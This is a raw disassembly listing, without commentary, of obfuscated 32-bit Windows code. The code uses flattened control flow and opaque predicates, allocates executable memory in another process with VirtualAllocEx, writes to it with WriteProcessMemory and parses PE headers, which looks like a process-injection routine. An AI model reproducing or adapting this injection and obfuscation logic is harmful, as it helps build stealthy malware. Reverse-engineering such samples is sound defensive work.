mov edx, ecx
sub edx, 0x10d49d9a
sub edx, 1
add edx, 0x10d49d9a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf367fb2b
mov ecx, 0xa0e54bbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf367fb2b
mov ecx, 0xa1897580
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov dword [ebp - 0x128], 0x3fedf1a
jmp 0x1000873d
mov dword [ebp - 0x128], 0x8ea6cc7c
jmp 0x1000873d
mov ecx, dword [0x10038974]
mov eax, dword [0x10038970]
mov edx, ecx
add edx, 0x3d5a8135
sub edx, 1
sub edx, 0x3d5a8135
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9772b96
mov ecx, 0xe9ad15ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov eax, dword [0x10038974]
mov ecx, dword [0x10038970]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9772b96
mov ecx, 0xd233a349
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000873d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100090f0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x128], 0x3f56684
jmp 0x1000873d
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0xe69db79f
jmp 0x1000873d
mov eax, dword [ebp - 0x88]
mov esi, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003d70
add esp, 8
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
add ecx, 0x4a73742e
add ecx, 0x18
sub ecx, 0x4a73742e
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0xaa01fcf8
add ecx, eax
sub ecx, 0xaa01fcf8
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0
mov dword [ebp - 0x128], 0x43056b
jmp 0x1000873d
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x128], 0x1fd71877
jmp 0x1000873d
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x128], 0x92456f54
jmp 0x1000873d
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x128], 0xbb973122
jmp 0x1000873d
mov dword [ebp - 0x128], 0xb441d306
jmp 0x1000873d
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0x26668b1f
jmp 0x1000873d
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x128], 0xa0e54bbe
jmp 0x1000873d
jmp 0x10005917